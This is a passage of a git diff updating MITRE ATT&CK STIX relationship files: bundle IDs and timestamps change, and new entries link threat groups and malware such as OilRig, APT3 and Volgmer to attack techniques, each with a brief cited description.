-    "id": "bundle--9f40e759-de79-4aec-a31a-32190be89b76",
+    "id": "bundle--cbe41703-e8c8-4256-8c5f-10754d6e2e55",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--94db2b6e-c01c-4aec-9229-4a6dcda3c6ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330",
             "target_ref": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953",
diff --git a/enterprise-attack/relationship/relationship--953134ab-5816-43b8-b2b1-8f4c9305f57a.json b/enterprise-attack/relationship/relationship--953134ab-5816-43b8-b2b1-8f4c9305f57a.json
new file mode 100644
index 0000000000..6a2487812e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--953134ab-5816-43b8-b2b1-8f4c9305f57a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d31646d4-51f8-477e-90d5-44e3169e51ef",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--953134ab-5816-43b8-b2b1-8f4c9305f57a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "extracted documents and bundled them into a RAR archive.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--954961e4-0bf5-496e-b200-e63d99c006de.json b/enterprise-attack/relationship/relationship--954961e4-0bf5-496e-b200-e63d99c006de.json
index 03ce3e5728..b5db08189a 100644
--- a/enterprise-attack/relationship/relationship--954961e4-0bf5-496e-b200-e63d99c006de.json
+++ b/enterprise-attack/relationship/relationship--954961e4-0bf5-496e-b200-e63d99c006de.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--68db051e-8a11-4f71-9287-b583c19de71e",
+    "id": "bundle--44bc4d04-fc50-4b2a-8c74-203f3a4ff066",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--954961e4-0bf5-496e-b200-e63d99c006de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK is capable of performing keylogging.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--956303a4-558c-433d-bc2f-28a7e69192ae.json b/enterprise-attack/relationship/relationship--956303a4-558c-433d-bc2f-28a7e69192ae.json
index a23614f88f..10cf4508b0 100644
--- a/enterprise-attack/relationship/relationship--956303a4-558c-433d-bc2f-28a7e69192ae.json
+++ b/enterprise-attack/relationship/relationship--956303a4-558c-433d-bc2f-28a7e69192ae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e88e652a-a65e-47f1-9c2f-d0e682e30dfb",
+    "id": "bundle--96cac087-2dbb-4129-822a-9a0834d08556",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--956303a4-558c-433d-bc2f-28a7e69192ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
diff --git a/enterprise-attack/relationship/relationship--95805281-96b1-49ea-95ee-9d654178c5c3.json b/enterprise-attack/relationship/relationship--95805281-96b1-49ea-95ee-9d654178c5c3.json
new file mode 100644
index 0000000000..372bce209b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--95805281-96b1-49ea-95ee-9d654178c5c3.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--249971dc-ccb0-4791-976b-87f4bf8d9112",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--95805281-96b1-49ea-95ee-9d654178c5c3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER typically use <code>ping</code> and Net to enumerate systems.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--95842c88-c596-44c7-a16e-40d98e2457cc.json b/enterprise-attack/relationship/relationship--95842c88-c596-44c7-a16e-40d98e2457cc.json
index 9d997e25e7..eb751e0820 100644
--- a/enterprise-attack/relationship/relationship--95842c88-c596-44c7-a16e-40d98e2457cc.json
+++ b/enterprise-attack/relationship/relationship--95842c88-c596-44c7-a16e-40d98e2457cc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1d2de9f2-1220-49bc-9f0d-e4061fe6ad98",
+    "id": "bundle--bf38533b-1429-4f29-969a-255ad2f6f8ab",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--95842c88-c596-44c7-a16e-40d98e2457cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "target_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
diff --git a/enterprise-attack/relationship/relationship--95a1ac52-e022-4c81-96cc-b7b39ca776d3.json b/enterprise-attack/relationship/relationship--95a1ac52-e022-4c81-96cc-b7b39ca776d3.json
index 7451ca3971..9ee317336e 100644
--- a/enterprise-attack/relationship/relationship--95a1ac52-e022-4c81-96cc-b7b39ca776d3.json
+++ b/enterprise-attack/relationship/relationship--95a1ac52-e022-4c81-96cc-b7b39ca776d3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--754b5712-da59-40de-bddd-acf7d60ef98c",
+    "id": "bundle--3cbebe0e-e81f-47f5-8b46-8b2c7acd38c2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--95a1ac52-e022-4c81-96cc-b7b39ca776d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to identify any anti-virus installed on the infected system.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
diff --git a/enterprise-attack/relationship/relationship--95b21e05-610e-47bf-a4b1-9d4b398e6c13.json b/enterprise-attack/relationship/relationship--95b21e05-610e-47bf-a4b1-9d4b398e6c13.json
new file mode 100644
index 0000000000..4489009812
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--95b21e05-610e-47bf-a4b1-9d4b398e6c13.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--edcbb572-ea47-4cb6-8761-393ba7058f96",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--95b21e05-610e-47bf-a4b1-9d4b398e6c13",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "One version of Helminth consists of VBScript and PowerShell scripts. The malware also uses batch scripting.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--96076f66-3ad6-4e54-b816-c9c3f90fa43a.json b/enterprise-attack/relationship/relationship--96076f66-3ad6-4e54-b816-c9c3f90fa43a.json
index e24211d463..9a4ffb73da 100644
--- a/enterprise-attack/relationship/relationship--96076f66-3ad6-4e54-b816-c9c3f90fa43a.json
+++ b/enterprise-attack/relationship/relationship--96076f66-3ad6-4e54-b816-c9c3f90fa43a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c0419648-2b7f-43e4-9077-d77c207e6fc1",
+    "id": "bundle--6ac8ee10-d0d1-4cfb-a1c3-3af2a9c16ac9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--96076f66-3ad6-4e54-b816-c9c3f90fa43a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Ixeshe malware uses custom Base64 encoding schemes to obfuscate data command and control traffic in the message body of HTTP requests.",
             "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06",
diff --git a/enterprise-attack/relationship/relationship--96077086-d811-47a1-a805-decbf6f249b7.json b/enterprise-attack/relationship/relationship--96077086-d811-47a1-a805-decbf6f249b7.json
index 82f4466cbf..6e7c2422ab 100644
--- a/enterprise-attack/relationship/relationship--96077086-d811-47a1-a805-decbf6f249b7.json
+++ b/enterprise-attack/relationship/relationship--96077086-d811-47a1-a805-decbf6f249b7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7f158360-538e-44b9-9b76-d7d902027873",
+    "id": "bundle--e8dfd173-31a8-4a6c-b20d-07d85eb45eeb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--96077086-d811-47a1-a805-decbf6f249b7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can modify service configurations.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--96235e56-e55a-4146-a9a6-956f8f1f7dcf.json b/enterprise-attack/relationship/relationship--96235e56-e55a-4146-a9a6-956f8f1f7dcf.json
new file mode 100644
index 0000000000..46863d2be4
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--96235e56-e55a-4146-a9a6-956f8f1f7dcf.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--87e9b338-7a10-44ed-bb01-78dcfeabd2bc",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--96235e56-e55a-4146-a9a6-956f8f1f7dcf",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9670979e-9785-45f0-a470-f591c97f6f8a.json b/enterprise-attack/relationship/relationship--9670979e-9785-45f0-a470-f591c97f6f8a.json
new file mode 100644
index 0000000000..e937f16039
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9670979e-9785-45f0-a470-f591c97f6f8a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--798cd390-763f-4a1f-b902-3e2e5fcab3a9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9670979e-9785-45f0-a470-f591c97f6f8a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER may enumerate user directories on a victim.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--96797ece-5783-4d34-a399-32496c8705ac.json b/enterprise-attack/relationship/relationship--96797ece-5783-4d34-a399-32496c8705ac.json
new file mode 100644
index 0000000000..54fa9e0994
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--96797ece-5783-4d34-a399-32496c8705ac.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--293275f5-43b5-45dd-8021-3efce3451bae",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--96797ece-5783-4d34-a399-32496c8705ac",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa.json b/enterprise-attack/relationship/relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa.json
index e71c80e7f5..a11537f276 100644
--- a/enterprise-attack/relationship/relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa.json
+++ b/enterprise-attack/relationship/relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9870cf60-11ec-4b1f-a387-8658ae736f25",
+    "id": "bundle--dce04cb2-5535-4984-b89b-1f5ba2877b8a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu examines running system processes for tokens that have specific system privileges.  If it finds one, it will copy the token and store it for later use.  Eventually it will start new processes with the stored token attached.  It can also steal tokens to acquire administrative privileges.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--9691a6a8-12d0-45a7-8217-11d1793234cb.json b/enterprise-attack/relationship/relationship--9691a6a8-12d0-45a7-8217-11d1793234cb.json
index ddd13c57b4..e2114e1ee5 100644
--- a/enterprise-attack/relationship/relationship--9691a6a8-12d0-45a7-8217-11d1793234cb.json
+++ b/enterprise-attack/relationship/relationship--9691a6a8-12d0-45a7-8217-11d1793234cb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--890bf5cb-7635-494b-b641-9d61d86cc686",
+    "id": "bundle--30b0ec69-ff19-4253-9a00-a7dcf7326504",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9691a6a8-12d0-45a7-8217-11d1793234cb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e",
             "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
diff --git a/enterprise-attack/relationship/relationship--9692d2b6-c933-4c1a-8ea0-1f0babfeeec9.json b/enterprise-attack/relationship/relationship--9692d2b6-c933-4c1a-8ea0-1f0babfeeec9.json
new file mode 100644
index 0000000000..1565b219af
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9692d2b6-c933-4c1a-8ea0-1f0babfeeec9.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--47f6b55c-f5e8-43ab-becc-624d9004d63b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9692d2b6-c933-4c1a-8ea0-1f0babfeeec9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf",
+            "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--96a09c57-4848-464e-8649-142152c91db9.json b/enterprise-attack/relationship/relationship--96a09c57-4848-464e-8649-142152c91db9.json
new file mode 100644
index 0000000000..9e957c2a72
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--96a09c57-4848-464e-8649-142152c91db9.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d7af7fec-5f9e-4a93-bef6-726e65c8f427",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--96a09c57-4848-464e-8649-142152c91db9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--96e928af-dbfc-4743-a1dc-353904e21fd3.json b/enterprise-attack/relationship/relationship--96e928af-dbfc-4743-a1dc-353904e21fd3.json
index 4ee697ea4a..121cead723 100644
--- a/enterprise-attack/relationship/relationship--96e928af-dbfc-4743-a1dc-353904e21fd3.json
+++ b/enterprise-attack/relationship/relationship--96e928af-dbfc-4743-a1dc-353904e21fd3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7a4541df-b587-4e97-96b5-d223ebdb92eb",
+    "id": "bundle--689b503c-ddc1-41c4-8a43-81fc7f964b3a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--96e928af-dbfc-4743-a1dc-353904e21fd3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--9755e169-0dd5-4bf5-a884-d50d31f33ad9.json b/enterprise-attack/relationship/relationship--9755e169-0dd5-4bf5-a884-d50d31f33ad9.json
index d1cd5317e6..78f562b880 100644
--- a/enterprise-attack/relationship/relationship--9755e169-0dd5-4bf5-a884-d50d31f33ad9.json
+++ b/enterprise-attack/relationship/relationship--9755e169-0dd5-4bf5-a884-d50d31f33ad9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--803dd064-9d0f-47fc-94c0-ba5091a67ee0",
+    "id": "bundle--c63d5730-3b57-46ca-953b-3670fa3a76aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9755e169-0dd5-4bf5-a884-d50d31f33ad9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.081Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f",
             "target_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--976202db-cdfa-4c4e-bc09-9b3cad90e6fb.json b/enterprise-attack/relationship/relationship--976202db-cdfa-4c4e-bc09-9b3cad90e6fb.json
index 30ea14861f..c4602f3bbb 100644
--- a/enterprise-attack/relationship/relationship--976202db-cdfa-4c4e-bc09-9b3cad90e6fb.json
+++ b/enterprise-attack/relationship/relationship--976202db-cdfa-4c4e-bc09-9b3cad90e6fb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7fac66cb-65f5-493f-b822-611ae2d50eac",
+    "id": "bundle--f36ed608-3849-4e6e-ab44-22364e96759a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--976202db-cdfa-4c4e-bc09-9b3cad90e6fb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--9779ccbc-c376-4a6e-a43f-56a782892302.json b/enterprise-attack/relationship/relationship--9779ccbc-c376-4a6e-a43f-56a782892302.json
new file mode 100644
index 0000000000..3cd805374b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9779ccbc-c376-4a6e-a43f-56a782892302.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--88040103-bade-4be1-a059-5ba658f95934",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9779ccbc-c376-4a6e-a43f-56a782892302",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used compromised credentials to access other systems on a victim network.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--979812c4-939e-4a7e-96b3-348028db10ce.json b/enterprise-attack/relationship/relationship--979812c4-939e-4a7e-96b3-348028db10ce.json
index 6b6d6a42ff..8ffcfae7c1 100644
--- a/enterprise-attack/relationship/relationship--979812c4-939e-4a7e-96b3-348028db10ce.json
+++ b/enterprise-attack/relationship/relationship--979812c4-939e-4a7e-96b3-348028db10ce.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f94fb94f-5aad-4987-a510-77cae666d510",
+    "id": "bundle--18c0946e-dd55-4832-800d-f185acda129a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--979812c4-939e-4a7e-96b3-348028db10ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware contains \"suicide scripts\" to delete malware binaries from the victim. It also uses secure file deletion to delete files from the victim.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--97ea3b82-58ba-4a3e-8e6d-367755f83fa6.json b/enterprise-attack/relationship/relationship--97ea3b82-58ba-4a3e-8e6d-367755f83fa6.json
index de3d2892ac..c2474d7bf5 100644
--- a/enterprise-attack/relationship/relationship--97ea3b82-58ba-4a3e-8e6d-367755f83fa6.json
+++ b/enterprise-attack/relationship/relationship--97ea3b82-58ba-4a3e-8e6d-367755f83fa6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--19ac4fc6-516f-4a17-97b3-940d839cf2bc",
+    "id": "bundle--ed245659-bca7-4b94-9911-fb7be271fa64",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--97ea3b82-58ba-4a3e-8e6d-367755f83fa6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN6 has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.",
